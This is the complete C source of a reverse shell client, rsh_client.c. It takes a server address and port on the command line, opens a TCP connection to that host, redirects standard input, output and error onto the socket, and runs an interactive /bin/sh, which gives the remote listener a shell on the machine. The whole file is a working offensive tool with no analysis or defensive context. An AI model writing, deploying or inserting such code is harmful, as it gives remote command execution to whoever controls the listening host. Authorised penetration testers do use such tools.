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rsh_client.c
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rsh_client.c
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#include <arpa/inet.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "rsh.h"
static void usage(const char *progname) {
RSH_LOG(
"%sv%s\n%s\nusage: %s [OPTIONS]\n\n"
"OPTIONS\n"
" -p <port> Specify the port of the server\n"
" -s <addr> Specify the server address\n"
" -h Show this message\n", BANNER, VERSION, FOOTER, progname);
}
static int parse_args(int argc, char *argv[], rsh_ctx_t *restrict ctx) {
const char *short_opts = "p:s:h";
int opt;
while ((opt = getopt(argc, argv, short_opts)) != -1) {
switch (opt) {
case 'p':
ctx->port = htons(atoi(optarg));
break;
case 's':
memcpy(ctx->ip, optarg, sizeof(ctx->ip) - 1);
break;
case 'h':
return 1;
}
}
if (!ctx->port || (ctx->ip[0] == '\0')) {
return 1;
}
return 0;
}
static void exec_shell(int fd) {
char *const cmd[] = { "/bin/sh", "-i", NULL };
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
execv(cmd[0], cmd);
}
static int run(const rsh_ctx_t *restrict ctx) {
struct sockaddr_in addr;
int fd;
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
RSH_ERROR("fail to create the communication socket!\n");
return 1;
}
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = ctx->port;
inet_aton(ctx->ip, &addr.sin_addr);
RSH_INFO("trying to connect to server...\n");
if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
RSH_ERROR("fail to connect to server!\n");
close(fd);
return 1;
}
RSH_INFO("connection established!\n");
exec_shell(fd);
return 0; // normally never reached
}
int main(int argc, char *argv[]) {
rsh_ctx_t ctx;
memset(&ctx, 0, sizeof(rsh_ctx_t));
// parse the server ip and port
if (parse_args(argc, argv, &ctx)) {
usage(argv[0]);
exit(EXIT_FAILURE);
}
// run the client
int ret = run(&ctx);
exit(!ret ? EXIT_SUCCESS : EXIT_FAILURE);
}